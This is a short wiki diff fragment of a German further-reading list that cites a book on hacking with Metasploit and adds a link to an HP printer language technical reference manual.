	==Weiterführende Literatur==		==Weiterführende Literatur==
	* Messner, Michael: Hacking mit Metasploit, 2. Auflage. ISBN: 978-3-86490-224-6		* Messner, Michael: Hacking mit Metasploit, 2. Auflage. ISBN: 978-3-86490-224-6
			* Printer Language Technical Reference Manual, http://www.hp.com/ctg/Manual/bpl13210.pdf, abgerufen am 10.10.2017